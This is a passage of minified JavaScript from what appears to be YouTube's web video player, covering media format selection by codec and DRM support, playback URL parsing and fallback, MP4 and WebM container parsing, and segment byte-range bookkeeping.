Q7q=function(x,T,t,u,H,I){var E={},Z={};g.Mg(T,function(e,l){e=e.filter(function(m){var d=m.itag;if(!m.wb)return Z[d]="noenc",!1;if(I.hM&&m.Wv==="(h"&&I.Lz)return Z[d]="lichdr",!1;if(!x.j&&m.Wv==="1e")return Z[d]="noav1enc",!1;if(m.Wv==="("||m.Wv==="(h"){if(x.T&&t&&t.flavor==="widevine"){var M=m.mimeType+"; experimental=allowed";(M=!!m.wb[t.flavor]&&!!t.C[M])||(Z[d]=m.wb[t.flavor]?"unspt":"noflv");return M}if(!Pt(x,SR.CRYPTOBLOCKFORMAT)&&!x.QU||x.Hv)return Z[d]=x.Hv?"disvp":"vpsub",!1}return t&&m.wb[t.flavor]&&
t.C[m.mimeType]?!0:(Z[d]=t?m.wb[t.flavor]?"unspt":"noflv":"nosys",!1)});
e.length&&(E[l]=e)});
u&&Object.entries(Z).length&&H({rjr:bF(Z)});return E};
yef=function(x,T){var t=ka(x,function(u,H){return H.video.fps>32?Math.min(u,H.video.width):u},Infinity);
t<Infinity&&(x=x.filter(function(u){if(u.video.fps>32||u.video.width<t)return!0;T[u.itag]="hfrfirst";return!1}));
Cy()&&(x=x.filter(function(u){if(u.itag!=="299")return!0;T[u.itag]="ps3hfr1080";return!1}));
return x};
DAC=function(x,T,t){return T=T.filter(function(u){if(u.video.C<=x.kP)return!0;t[u.itag]="maxquality";return!1})};
WxD=function(x,T,t){var u={},H;for(H in T.C)if(T.C.hasOwnProperty(H)){var I=T.C[H].info;if(x.N&&I.video&&I.video.C<x.N)t&&(t[I.itag]="min"+x.N);else{var E=I.Wv;u[E]=u[E]||[];u[E].push(I)}}x=g.S(Object.keys(u));for(T=x.next();!T.done;T=x.next())MF(u[T.value]);return u};
Av=function(x){return ka(x,function(T,t){return Math.max(T,t.video.C)},0)};
lG=function(x,T,t,u,H){H=H===void 0?new Set:H;if(T.Wv==="")return"unkn";if((T.itag==="304"||T.itag==="266")&&x.uG)return"blk2khfr";if(x.D&&T.video&&T.video.C>x.D)return"max"+x.D;if(x.SY&&T.Wv==="h"&&T.video&&T.video.C>1080)return"blkhigh264";if(T.Wv==="(h"&&!t.N)return"enchdr";if((u===void 0?0:u)&&w4(T)&&!x.nf)return"blk51live";if((T.Wv==="MAC3"||T.Wv==="mac3")&&!x.K)return"blkac3";if((T.Wv==="MEAC3"||T.Wv==="meac3")&&!x.T)return"blkeac3";if(T.Wv==="M"||T.Wv==="m")return"blkaac51";if((T.Wv==="so"||
T.Wv==="sa")&&!x.jY)return"blkamb";if(!x.hM&&Z2H(T)&&(!t.j||T.Wv!=="1e"))return"cbc";if(!t.j&&Z2H(T)&&T.Wv==="1e")return"cbcav1";if((T.Wv==="i"||T.Wv==="I")&&!x.tM)return"blkiamf";if(T.itag==="774"&&!x.Hv)return"blkouh";var I,E;if(x.mu&&(T.Wv==="1"||T.Wv==="1h"||t.j&&T.Wv==="1e")&&((I=T.video)==null?0:I.C)&&((E=T.video)==null?void 0:E.C)>x.mu)return"av1cap";if((u=t.Z.get(T.Wv))&&u.eS>0)return H.add(T.Wv),"byerr";var Z;if((Z=T.video)==null?0:Z.fps>32){if(!t.hQ&&!Pt(t,SR.FRAMERATE))return"capHfr";if(x.tQ&&
T.video.C>=4320)return"blk8khfr";if(Cj(T)&&x.tR&&T.wb&&T.video.C>=1440)return"disablevp9hfr"}if(x.Zp&&T.Zp>x.Zp)return"ratecap";x=sSH(t,T);return x!==!0?x:!0};
MF=function(x,T){T=T===void 0?[]:T;g.Ey(x,function(t,u){var H=u.Zp-t.Zp;if(!t.Zo()||!u.Zo())return H;var I=u.video.height*u.video.width-t.video.height*t.video.width;!I&&T&&T.length>0&&(t=T.indexOf(t.Wv)+1,u=T.indexOf(u.Wv)+1,I=t===0||u===0?u||-1:t-u);I||(I=H);return I})};
g.ct=function(x,T){this.Z=x;this.K=T===void 0?!1:T;this.j=this.path=this.scheme="";this.C={};this.url=""};
UK=function(x){YW(x);return x.j};
bG=function(x){return x.Z?x.Z.startsWith("local"):x.scheme==="local"};
utq=function(x){YW(x);return g.PR(x.C,function(T){return T!==null})};
rU=function(x){YW(x);var T=decodeURIComponent(x.get("mn")||"").split(",");return x.path==="/videoplayback"&&T.length>1&&!!T[1]};
zg=function(x,T){T=T===void 0?!1:T;YW(x);if(x.path!=="/videoplayback"){var t=x.clone();t.set("playerfallback","1");return t}var u=x.sY();t=new g.Zr(u);var H=x.get("fvip"),I=decodeURIComponent(x.get("mn")||"").split(",");if(H&&I&&I.length>1&&I[1])return u=t.C,x=u.replace(/^[^.]*/,""),g.e3(t,(u.indexOf("rr")===0?"rr":"r")+H+"---"+I[1]+x),t=new g.ct(t.toString()),t.set("fallback_count","1"),t;if(T)return t=x.clone(),t.set("fallback_count","1"),t;H=t.C.match("\\.a1\\.googlevideo\\.com$");t.C.match("\\.googlevideo\\.com$")?
(g.e3(t,"redirector.googlevideo.com"),u=t.toString()):t.C.match("rr?[1-9].*\\.c\\.youtube\\.com$")?(g.e3(t,"www.youtube.com"),u=t.toString()):(t=tbX(u),Xc(t)&&(u=t));t=new g.ct(u);t.set("cmo=pf","1");H&&t.set("cmo=td","a1.googlevideo.com");return t};
YW=function(x){if(x.Z){if(!Xc(x.Z)&&!x.Z.startsWith("local"))throw new g.CS("Untrusted URL",x.Z);var T=g.PL(x.Z);x.scheme=T.T;x.j=T.C+(T.j!=null?":"+T.j:"");var t=T.Z;if(t.startsWith("/videoplayback"))x.path="/videoplayback",t=t.slice(14);else if(t.startsWith("/initplayback"))x.path="/initplayback",t=t.slice(13);else if(t.startsWith("/api/manifest")){var u=t.indexOf("/",12),H=t.indexOf("/",u+1);u>0&&H>0?(x.path=t.slice(0,H),t=t.slice(H+1)):(x.path=t,t="")}else x.path=t,t="";u=x.C;x.C=$uD(t);Object.assign(x.C,
Hjf(T.K.toString()));Object.assign(x.C,u);x.C.file==="index.m3u8"&&(delete x.C.file,x.path+="/file/index.m3u8");x.Z="";x.url="";x.K&&(T=aKm(),YW(x),t=x.C[T]||null)&&(t=ijV[0](t),x.set(T,t),x.K||aKm(""))}};
I6X=function(x){YW(x);var T=x.scheme+(x.scheme?"://":"//")+x.j+x.path;if(utq(x)){var t=[];g.Mg(x.C,function(u,H){u!==null&&t.push(H+"="+u)});
T+="?"+t.join("&")}return T};
$uD=function(x){x=x.split("/");var T=0;x[0]||T++;for(var t={};T<x.length;T+=2)x[T]&&EXD(t,x[T],x[T+1]);return t};
Hjf=function(x){x=x.split("&");for(var T={},t=0;t<x.length;t++){var u=x[t],H=u.indexOf("=");H>0?EXD(T,u.slice(0,H),u.slice(H+1)):u&&(T[u]="")}return T};
EXD=function(x,T,t){if(T==="cmo"){var u;(u=t.indexOf("="))>=0?(T="cmo="+t.slice(0,u),t=t.slice(u+1)):(u=t.indexOf("%3D"))>=0&&(T="cmo="+t.slice(0,u),t=t.slice(u+3))}x[T]=t};
kW=function(x){var T=g.N(x,qqX)||x.signatureCipher;x={Ps:!1,Y7:"",M9:"",s:""};if(!T)return x;T=o6(T);x.Ps=!0;x.Y7=T.url;x.M9=T.sp;x.s=T.s;return x};
Fh=function(x,T,t,u,H,I,E,Z,e){this.Mj=x;this.startTime=T;this.duration=t;this.ingestionTime=u;this.sourceURL=H;this.PU=e;this.endTime=T+t;this.C=E||0;this.range=I||null;this.pending=Z||!1;this.PU=e||null};
g.hv=function(){this.segments=[];this.C=null;this.Z=!0;this.j=""};
ZjD=function(x,T){if(T>x.mR())x.segments=[];else{var t=pC(x.segments,function(u){return u.Mj>=T},x);
t>0&&x.segments.splice(0,t)}};
vt=function(x,T,t,u,H){H=H===void 0?!1:H;this.data=x;this.offset=T;this.size=t;this.type=u;this.C=(this.Z=H)?0:8;this.dataOffset=this.offset+this.C};
Vm=function(x){var T=x.data.getUint8(x.offset+x.C);x.C+=1;return T};
Gg=function(x){var T=x.data.getUint16(x.offset+x.C);x.C+=2;return T};
L3=function(x){var T=x.data.getInt32(x.offset+x.C);x.C+=4;return T};
n3=function(x){var T=x.data.getUint32(x.offset+x.C);x.C+=4;return T};
ar=function(x){var T=x.data;var t=x.offset+x.C;T=T.getUint32(t)*4294967296+T.getUint32(t+4);x.C+=8;return T};
gU=function(x,T){T=T===void 0?NaN:T;if(isNaN(T))var t=x.size;else for(t=x.C;t<x.size&&x.data.getUint8(x.offset+t)!==T;)++t;T=new Uint8Array(x.data.buffer,x.offset+x.C+x.data.byteOffset,t-x.C);x.C=Math.min(t+1,x.size);return c5(T)};
jSX=function(x){return new Uint8Array(x.data.buffer,x.offset+x.data.byteOffset,x.size)};
eoC=function(x){this.offset=0;this.data=new DataView(new ArrayBuffer(x))};
Bt=function(x,T,t,u){(new Uint8Array(x.data.buffer,x.offset,u)).set(new Uint8Array(T.buffer,t+T.byteOffset,u));x.offset+=u};
Wt=function(x,T,t,u,H,I){this.startSecs=x;this.U0=T;this.context=t;this.identifier=u;this.event=H;this.C=I};
ym=function(x,T){this.data=x;this.uri=T||"http://youtube.com/streaming/metadata/segment/102015";this.QL=D5(this,"Sequence-Number");this.K=D5(this,"Segment-Count");this.T=this.data["Segment-Durations-Ms"]||"";this.ingestionTime=D5(this,"Ingestion-Walltime-Us")/1E6;this.C=(D5(this,"First-Frame-Time-Us")+D5(this,"First-Frame-Uncertainty-Us"))/1E6;this.XR=D5(this,"Target-Duration-Us")/1E6;this.FQ=this.data["Stream-Finished"]==="T";this.j=this.data.Streamable==="T";this.cryptoPeriodIndex=D5(this,"Crypto-Period-Index");
this.Z=D5(this,"Crypto-Period-Seconds")};
muV=function(x){return x.data["Cuepoint-Type"]?new Wt(-(Number(x.data["Cuepoint-Playhead-Time-Sec"])||0),Number(x.data["Cuepoint-Total-Duration-Sec"])||0,x.data["Cuepoint-Context"],x.data["Cuepoint-Identifier"]||"",l6V[x.data["Cuepoint-Event"]||""]||"unknown",(Number(x.data["Cuepoint-Playhead-Time-Sec"])||0)*1E3):null};
du3=function(x){return Number(x.data["Start-Media-Time-Us"])/1E6||0};
D5=function(x,T){return Number(x.data[T])||0};
NF=function(x){return x.data["Stitched-Video-Cpn"]?x.data["Stitched-Video-Cpn"].split(",").slice(0,-1):[]};
g.Mff=function(x){return x.data["Serialized-State"]?x.data["Serialized-State"]:""};
g.AEf=function(x){switch(x.data["Is-Ad-Break-Finished"]){case "true":return 1;case "false":return 2;default:return 0}};
Ro3=function(x,T){this.C=x;this.duration=T};
PFD=function(x,T,t,u,H){this.Z=H;this.C=x||0;this.pitch=T||0;this.yaw=t||0;this.roll=u||0;this.crc=H.getUint32(4)};
Jv=function(x){var T={};x=x.split("\r\n");for(var t=0;t<x.length;t++){if(x[t].length===0)return T;var u=x[t].match(/([^:]+):\s+([\S\s]+)/);u!=null&&(T[u[1]]=u[2])}return null};
Sqv=function(x,T){var t=g.C3(x,0,1952868452);x=g.C3(x,0,1953658222);if(t&&x){t.skip(1);var u=Vm(t)<<16|Gg(t);t.skip(4);u&1&&t.skip(8);u&2&&t.skip(4);if(u&8){u=t.C;var H=n3(t);t.data.setUint32(t.offset+u,T>1?Math.ceil(H*T):Math.floor(H*T))}x.skip(1);t=Vm(x)<<16|Gg(x);if(t&256){u=t&1;H=t&4;var I=t&512,E=t&1024,Z=t&2048;t=n3(x);u&&x.skip(4);H&&x.skip(4);u=(I?4:0)+(E?4:0)+(Z?4:0);for(H=0;H<t;H++)I=x.C,E=n3(x),x.data.setUint32(x.offset+I,T>1?Math.ceil(E*T):Math.floor(E*T)),x.skip(u)}}};
p3=function(x){x=new DataView(x.buffer,x.byteOffset,x.byteLength);return(x=g.C3(x,0,1836476516))?g.Qm(x):NaN};
cE5=function(x){var T=g.C3(x,0,1937011556);if(!T)return null;T=OK(x,T.dataOffset+8,1635148593)||OK(x,T.dataOffset+8,1635135537);if(!T)return null;var t=OK(x,T.dataOffset+78,1936995172),u=OK(x,T.dataOffset+78,1937126244);if(!u)return null;T=null;if(t)switch(t.skip(4),Vm(t)){default:T=0;break;case 1:T=2;break;case 2:T=1;break;case 3:T=255}var H=t=null,I=null;if(u=OK(x,u.dataOffset,1886547818)){var E=OK(x,u.dataOffset,1886546020),Z=OK(x,u.dataOffset,2037673328);if(!Z&&(Z=OK(x,u.dataOffset,1836279920),
!Z))return null;E&&(E.skip(4),t=L3(E)/65536,I=L3(E)/65536,H=L3(E)/65536);x=jSX(Z);x=new DataView(x.buffer,x.byteOffset+8,x.byteLength-8);return new PFD(T,t,I,H,x)}return null};
OK=function(x,T,t){for(;f3(x,T);){var u=wU(x,T);if(u.type===t)return u;T+=u.size}return null};
g.C3=function(x,T,t){for(;f3(x,T);){var u=wU(x,T);if(u.type===t)return u;T=K3(u.type)?T+8:T+u.size}return null};
g.Xh=function(x){if(x.data.getUint8(x.dataOffset)){var T=x.data;x=x.dataOffset+4;T=T.getUint32(x)*4294967296+T.getUint32(x+4)}else T=x.data.getUint32(x.dataOffset+4);return T};
wU=function(x,T){var t=x.getUint32(T),u=x.getUint32(T+4);return new vt(x,T,t,u)};
g.Qm=function(x){var T=x.data.getUint8(x.dataOffset)?20:12;return x.data.getUint32(x.dataOffset+T)};
YqJ=function(x){x=new vt(x.data,x.offset,x.size,x.type,x.Z);var T=Vm(x);x.skip(7);var t=n3(x);if(T===0){T=n3(x);var u=n3(x)}else T=ar(x),u=ar(x);x.skip(2);for(var H=Gg(x),I=[],E=[],Z=0;Z<H;Z++){var e=n3(x);I.push(e);E.push(n3(x));x.skip(4)}return{timescale:t,h3:T,ZE:u,bFU:I,X2:E}};
f3=function(x,T){if(x.byteLength-T<8)return!1;var t=x.getUint32(T);if(t<8||x.byteLength-T<t)return!1;for(t=4;t<8;t++){var u=x.getInt8(T+t);if(u<48||u>122)return!1}return!0};
K3=function(x){return x===1701082227||x===1836019558||x===1836019574||x===1835297121||x===1835626086||x===1937007212||x===1953653094||x===1953653099||x===1836475768};
UuD=function(x){x.skip(4);return{ngW:gU(x,0),value:gU(x,0),timescale:n3(x),S_v:n3(x),w$9:n3(x),id:n3(x),Vc:gU(x),offset:x.offset}};
g.bj5=function(x){var T=OK(x,0,1701671783);if(!T)return null;var t=UuD(T),u=t.ngW;t=Jv(t.Vc);if(x=OK(x,T.offset+T.size,1701671783))if(x=UuD(x),x=Jv(x.Vc),t&&x){T=g.S(Object.keys(x));for(var H=T.next();!H.done;H=T.next())H=H.value,t[H]=x[H]}return t?new ym(t,u):null};
xd=function(x,T){for(var t=OK(x,0,T);t;){var u=t;u.type=1936419184;u.data.setUint32(u.offset+4,1936419184);t=OK(x,t.offset+t.size,T)}};
g.Tr=function(x,T){for(var t=0,u=[];f3(x,t);){var H=wU(x,t);H.type===T&&u.push(H);t=K3(H.type)?t+8:t+H.size}return u};
rE3=function(x,T){var t=g.C3(x,0,1937011556),u=g.C3(x,0,1953654136);if(!t||!u||x.getUint32(t.offset+12)>=2)return null;var H=new DataView(T.buffer,T.byteOffset,T.length),I=g.C3(H,0,1937011556);if(!I)return null;T=H.getUint32(I.dataOffset+8);u=H.getUint32(I.dataOffset+12);if(u!==1701733217&&u!==1701733238)return null;u=new eoC(x.byteLength+T);Bt(u,x,0,t.offset+12);u.data.setInt32(u.offset,2);u.offset+=4;Bt(u,x,t.offset+16,t.size-16);Bt(u,H,H.byteOffset+I.dataOffset+8,T);Bt(u,x,t.offset+t.size,x.byteLength-
(t.offset+t.size));t=g.S([1836019574,1953653099,1835297121,1835626086,1937007212,1937011556]);for(H=t.next();!H.done;H=t.next())H=g.C3(x,0,H.value),u.data.setUint32(H.offset,H.size+T);x=g.C3(u.data,0,1953654136);u.data.setUint32(x.offset+16,2);return u.data};
zom=function(x){var T=g.C3(x,0,1937011556);if(!T)return null;var t=x.getUint32(T.dataOffset+12);if(t!==1701733217&&t!==1701733238)return null;T=OK(x,T.offset+24+(t===1701733217?28:78),1936289382);if(!T)return null;t=OK(x,T.offset+8,1935894637);if(!t||x.getUint32(t.offset+12)!==1667392371)return null;T=OK(x,T.offset+8,1935894633);if(!T)return null;T=OK(x,T.offset+8,1952804451);if(!T)return null;t=new Uint8Array(16);for(var u=0;u<16;u++)t[u]=x.getInt8(T.offset+16+u);return t};
oe=function(x,T){this.C=x;this.pos=0;this.start=T||0};
t7=function(x){return x.pos>=x.C.byteLength};
iz=function(x,T,t){var u=new oe(t);if(!sU(u,x))return!1;u=uz(u);if(!$d(u,T))return!1;for(x=0;T;)T>>>=8,x++;T=u.start+u.pos;var H=HH(u,!0);u=x+(u.start+u.pos-T)+H;u=u>9?kYJ(u-9,8):kYJ(u-2,1);x=T-x;t.setUint8(x++,236);for(T=0;T<u.length;T++)t.setUint8(x++,u[T]);return!0};
Fci=function(x){var T=new oe(x);T.Kt();if(sU(T,[408125543,374648427,174,224]))T=uz(T);else return null;for(var t=x=null;!t7(T);){var u=HH(T,!1);if(u===21432)switch(Ie(T)){default:x=0;break;case 1:x=1;break;case 3:x=2;break;case 15:x=255}else u===30320?t=uz(T):EU(T)}if(!t)return null;for(var H,I=u=T=null;!t7(t);)switch(HH(t,!1)){case 30321:if(Ie(t)!==3)return null;break;case 30324:T=qH(t);break;case 30323:I=qH(t);break;case 30325:u=qH(t);break;case 30322:H=HH(t,!0);H=ZN(t,H);H=new DataView(H.buffer,
H.byteOffset,H.byteLength);break;default:EU(t)}return H?new PFD(x,T,I,u,H):null};
uz=function(x){var T=HH(x,!0),t=x.C.byteOffset+x.pos;t=new DataView(x.C.buffer,t,Math.min(T,x.C.buffer.byteLength-t));t=new oe(t,x.start+x.pos);x.pos+=T;return t};
Ie=function(x){for(var T=HH(x,!0),t=jX(x),u=1;u<T;u++)t=t*256+jX(x);return t};
qH=function(x){var T=HH(x,!0),t=0;T===4?t=x.C.getFloat32(x.pos):T===8&&(t=x.C.getFloat64(x.pos));x.pos+=T;return t};
hoi=function(x){var T=HH(x,!0);return c5(ZN(x,T))};
jX=function(x){return x.C.getUint8(x.pos++)};
HH=function(x,T){var t=jX(x);if(t===1){for(T=t=0;T<7;T++)t=t*256+jX(x);return t}for(var u=128,H=0;H<6&&u>t;H++)t=t*256+jX(x),u*=128;return T?t-u:t};
EU=function(x){var T=HH(x,!0);x.pos+=T};
vXJ=function(x){if(!$d(x,440786851,!0))return null;var T=x.pos;HH(x,!1);var t=HH(x,!0)+x.pos-T;x.pos=T+t;if(!$d(x,408125543,!1))return null;HH(x,!0);if(!$d(x,357149030,!0))return null;var u=x.pos;HH(x,!1);var H=HH(x,!0)+x.pos-u;x.pos=u+H;if(!$d(x,374648427,!0))return null;var I=x.pos;HH(x,!1);var E=HH(x,!0)+x.pos-I,Z=new Uint8Array(t+12+H+E),e=new DataView(Z.buffer);Z.set(new Uint8Array(x.C.buffer,x.C.byteOffset+T,t));e.setUint32(t,408125543);e.setUint32(t+4,33554431);e.setUint32(t+8,4294967295);
Z.set(new Uint8Array(x.C.buffer,x.C.byteOffset+u,H),t+12);Z.set(new Uint8Array(x.C.buffer,x.C.byteOffset+I,E),t+12+H);return Z};
eX=function(x){var T=x.pos;x.pos=0;var t=1E6;sU(x,[408125543,357149030,2807729])&&(t=Ie(x));x.pos=T;return t};
Vff=function(x,T){var t=x.pos;x.pos=0;if(x.C.getUint8(x.pos)!==160&&!lz(x)||!$d(x,160))return x.pos=t,NaN;HH(x,!0);var u=x.pos;if(!$d(x,161))return x.pos=t,NaN;HH(x,!0);jX(x);var H=jX(x)<<8|jX(x);x.pos=u;if(!$d(x,155))return x.pos=t,NaN;u=Ie(x);x.pos=t;return(H+u)*T/1E9};
lz=function(x){if(!GYC(x)||!$d(x,524531317))return!1;HH(x,!0);return!0};
GYC=function(x){if(x.Kt()){if(!$d(x,408125543))return!1;HH(x,!0)}return!0};
sU=function(x,T){for(var t=0;t<T.length;t++){if(!$d(x,T[t]))return!1;t!==T.length-1&&HH(x,!0)}return!0};
$d=function(x,T,t){t=t===void 0?!1:t;if(t7(x))return!1;for(var u=x.pos;HH(x,!1)!==T;)if(EU(x),u=x.pos,t7(x))return!1;t&&(x.pos=u);return!0};
kYJ=function(x,T){T||(T=Math.ceil(Math.log(x+2)/Math.log(2)/7));for(var t=1<<8-T,u=[];u.length<T-1;)u.unshift(x%256),x=Math.floor(x/256);u.unshift(x|t);return u};
ZN=function(x,T){var t=new Uint8Array(x.C.buffer,x.C.byteOffset+x.pos,T);x.pos+=T;return t};
mg=function(x){this.il=x;this.C={};this.url=""};
Lc4=function(x,T){var t=T.indexOf("?");if(t>0){var u=Hjf(T.substring(t+1));g.Mg(u,function(H,I){this.set(I,H)},x);
T=T.substring(0,t)}T=$uD(T);g.Mg(T,function(H,I){this.set(I,H)},x)};
nXV=function(x){var T=x.il.sY(),t=[];g.Mg(x.C,function(H,I){t.push(I+"="+H)});
if(!t.length)return T;var u=t.join("&");x=utq(x.il)?"&":"?";return T+x+u};
dD=function(x,T){var t=new g.ct(T);(T=t.get("req_id"))&&x.set("req_id",T);g.Mg(x.C,function(u,H){t.set(H,null)});
return t};
a6H=function(){this.K=this.Z=this.C=this.timedOut=this.started=this.T=this.j=0};
MH=function(x){x.T=(0,g.bo)();x.started=0;x.timedOut=0;x.C=0};
A7=function(x,T){var t=x.started+x.C*4;T&&(t+=x.Z);t=Math.max(0,t-3);return Math.pow(1.6,t)};
Re=function(x,T){x[T]||(x[T]=new a6H);return x[T]};
PH=function(x){this.S=this.N=this.T=this.Z=0;this.J=this.D=!1;this.C=x;this.j=x.clone()};
gXm=function(x,T,t){if(bG(x.C))return!1;var u=Re(t,UK(x.C));if(u.timedOut<1&&u.C<1)return!1;u=u.timedOut+u.C;x=SX(x,T);t=Re(t,UK(x));return t.timedOut+t.C+0<u};
cH=function(x,T,t){x=T?SX(x,t):x.C;return new mg(x)};
SX=function(x,T){T=T?T.ir:!1;x.K||(x.K=zg(x.j,T));return x.K};
Yd=function(x,T,t){return UK(T?SX(x,t):x.C)};
UU=function(x,T,t,u){T.Hm&&(u===void 0?0:u)>1?T=T.Hm:(t=Re(t,Yd(x,x.ib(T,t),T)),T=Math.max(x.T,t.timedOut)+T.AD*(x.Z-x.T)+.25*x.N,T=T>3?1E3*Math.pow(1.6,T-3):0);return T===0?!0:x.S+T<(0,g.bo)()};
B4m=function(x,T,t){x.C.set(T,t);x.j.set(T,t);x.K&&x.K.set(T,t)};
Wc5=function(x,T,t,u,H){++x.Z;T&&++x.T;UK(t.il).startsWith("redirector.")&&(x.C=x.j.clone(),delete x.K,u.DM&&delete H[UK(x.C)])};
bz=function(x){return x?(x.itag||"")+";"+(x.lmt||0)+";"+(x.xtags||""):""};
rD=function(x,T,t,u){this.initRange=t;this.indexRange=u;this.C=null;this.j=!1;this.D=0;this.K=this.g8=this.Z=null;this.info=T;this.QA=new PH(x)};
zr=function(x,T){this.start=x;this.end=T;this.length=T-x+1};
kd=function(x){x=x.split("-");var T=Number(x[0]),t=Number(x[1]);if(!isNaN(T)&&!isNaN(t)&&x.length===2&&(x=new zr(T,t),!isNaN(x.start)&&!isNaN(x.end)&&!isNaN(x.length)&&x.length>0))return x};
FO=function(x,T){return new zr(x,x+T-1)};
DuD=function(x){return x.end==null?{start:String(x.start)}:{start:String(x.start),end:String(x.end)}};
h7=function(x){if(!x)return new zr(0,0);var T=Number(x.start);x=Number(x.end);if(!isNaN(T)&&!isNaN(x)&&(T=new zr(T,x),T.length>0))return T};
vH=function(x,T,t,u,H,I,E,Z,e,l,m,d){u=u===void 0?"":u;this.type=x;this.C=T;this.range=t;this.source=u;this.a4=m;this.clipId=d===void 0?"":d;this.N=[];this.T="";this.Mj=-1;this.J=this.S=0;this.T=u;this.Mj=H>=0?H:-1;this.startTime=I||0;this.duration=E||0;this.Z=Z||0;this.j=e>=0?e:this.range?this.range.length:NaN;this.K=this.range?this.Z+this.j===this.range.length:l===void 0?!!this.j:l;this.range?(this.Gy=this.startTime+this.duration*this.Z/this.range.length,this.D=this.duration*this.j/this.range.length,
this.BS=this.Gy+this.D):yEq(this)};
yEq=function(x){x.Gy=x.startTime;x.D=x.duration;x.BS=x.Gy+x.D};
N4D=function(x,T,t){var u=!(!T||T.C!==x.C||T.type!==x.type||T.Mj!==x.Mj);return t?u&&!!T&&(x.range&&T.range?T.range.end===x.range.end:T.range===x.range)&&T.Z+T.j===x.Z+x.j:u};
V4=function(x){return x.type===1||x.type===2};
Gr=function(x){return x.type===3||x.type===6};
LX=function(x,T){return x.C===T.C?x.range&&T.range?x.range.start+x.Z+x.j===T.range.start+T.Z:x.Mj===T.Mj?x.Z+x.j===T.Z:x.Mj+1===T.Mj&&T.Z===0&&x.K:!1};
CFX=function(x,T){return x.Mj!==T.Mj&&T.Mj!==x.Mj+1||x.type!==T.type?!1:LX(x,T)?!0:Math.abs(x.Gy-T.Gy)<=1E-6&&x.Mj===T.Mj?!1:JEi(x,T)};
JEi=function(x,T){return LX(x,T)||Math.abs(x.BS-T.Gy)<=1E-6||x.Mj+1===T.Mj&&T.Z===0&&x.K?!0:!1};
nX=function(x){return x.Mj+(x.K?1:0)};
QS3=function(x){x.length===1||g.zu(x,function(t){return!!t.range});
for(var T=1;T<x.length;T++);T=x[x.length-1];return new zr(x[0].range.start+x[0].Z,T.range.start+T.Z+T.j-1)};
pUJ=function(x){for(var T=1;T<x.length;T++)if(!LX(x[T-1],x[T]))return!1;return!0};
Ojf=function(x){var T=0;x=g.S(x);for(var t=x.next();!t.done;t=x.next())T+=t.value.range.length;return T};
ae=function(x){var T={};T.itag=x.C.info.itag;T.type=""+x.type;T.src=""+x.source;T.segsrc=x.T;T.seg=String(x.Mj);x.range&&(T.range=x.range.start+x.Z+"-"+(x.range.start+x.Z+x.j-1));T.time=x.Gy.toFixed(1)+"-"+(x.Gy+x.D).toFixed(1);T.off=String(x.Z);T.len=String(x.j);x.K&&(T.end="1");x.FQ()&&(T.eos="1");x.clipId&&(T.cid=x.clipId);return T};
f6D=function(x){return new vH(x.type,x.C,x.range,"getEmptyStubBefore"+x.T,x.Mj,x.startTime,0,x.Z,0)};
wUv=function(x){return new vH(x.type,x.C,x.range,"getEmptyStubAfter"+x.T,x.Mj,x.startTime+x.duration,0,x.Z+x.j,0)};
KcD=function(x,T,t,u){return new vH(x.type,x.C,x.range,"reslice"+x.T,x.Mj,x.startTime,x.duration,T,t,u,x.a4,x.clipId)};
XU3=function(x,T){return x.C!==T.C?!1:x.range&&T.range?x.range.start+x.Z>=T.range.start+T.Z&&x.range.start+x.Z+x.j<=T.range.start+T.Z+T.j:x.Mj===T.Mj&&x.Z>=T.Z&&(x.Z+x.j<=T.Z+T.j||T.K)};
xGJ=function(x,T){return x.C!==T.C?!1:x.type===4&&T.type===3&&x.C.fC()?(x=x.C.DW(x),h2(x,function(t){return xGJ(t,T)})):x.Mj===T.Mj&&!!T.j&&T.Z+T.j>x.Z&&T.Z+T.j<=x.Z+x.j};
gD=function(x,T){var t=T.Mj;x.T="updateWithSegmentInfo";x.Mj=t;if(x.startTime!==T.startTime||x.duration!==T.duration)x.startTime=T.startTime+x.S,x.duration=T.duration,yEq(x)};
BH=function(x,T){var t=this;this.iG=x;this.K=this.C=null;this.T=this.IT=NaN;this.ib=this.requestId=null;this.yF={pfU:function(){return t.range}};
this.QA=x[0].C.QA;this.Z=T||"";this.iG[0].range&&this.iG[0].j>0&&(pUJ(x)?(this.range=QS3(x),this.j=this.range.length):(this.range=this.iG[this.iG.length-1].range,this.j=Ojf(x)))};
WH=function(x){return!V4(x.iG[x.iG.length-1])};
DN=function(x){return x.iG[x.iG.length-1].type===4};
g.y4=function(x,T,t){t=x.ib===null?x.QA.ib(T,t,x.iG[0].type):x.ib;if(x.C){T=t?zg(x.C,T.ir):x.C;var u=new mg(T);u.get("alr")||u.set("alr","yes");x.Z&&Lc4(u,x.Z)}else/http[s]?:\/\//.test(x.Z)?u=new mg(new g.ct(x.Z)):(u=cH(x.QA,t,T),x.Z&&Lc4(u,x.Z));(T=x.range)?u.set("range",T.toString()):x.iG[0].C.Re()&&x.iG.length===1&&x.iG[0].Z&&u.set("range",x.iG[0].Z+"-");x.requestId&&u.set("req_id",x.requestId);isNaN(x.IT)||u.set("headm",x.IT.toString());isNaN(x.T)||u.set("mffa",x.T+"ms");x.urlParams&&g.Mg(x.urlParams,
function(H,I){u.set(I,H)});
return u};
Tof=function(x){if(x.range)return x.j;x=x.iG[0];return Math.round(x.D*x.C.info.Zp)};
ojH=function(x,T){return Math.max(0,x.iG[0].Gy-T)};
NH=function(x,T,t,u,H,I){I=I===void 0?0:I;rD.call(this,x,T,u,void 0);this.T=t;this.XR=I;this.index=H||new g.hv};
tcf=function(x,T,t,u,H){this.Mj=x;this.startSecs=T;this.U0=t;this.C=u||NaN;this.Z=H||NaN};
J7=function(x,T,t){for(;x;x=x.parentNode)if(x.attributes&&(!t||x.nodeName===t)){var u=x.getAttribute(T);if(u)return u}return""};
CX=function(x,T){for(;x;x=x.parentNode){var t=x.getElementsByTagName(T);if(t.length>0)return t[0]}return null};
sEX=function(x){if(!x)return 0;var T=x.match(/PT(([0-9]*)H)?(([0-9]*)M)?(([0-9.]*)S)?/);return T?(Number(T[2])|0)*3600+(Number(T[4])|0)*60+(Number(T[6])|0):Number(x)|0};
uGi=function(x){return x.match(/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})\.(\d{3})$/)?x+"Z":x};
Q4=function(){this.C=[];this.Z=null;this.D=0;this.j=[];this.T=!1;this.N="";this.K=-1};
$GC=function(x){var T=x.j;x.j=[];return T};
HQH=function(){this.K=[];this.C=null;this.Z={};this.j={}};
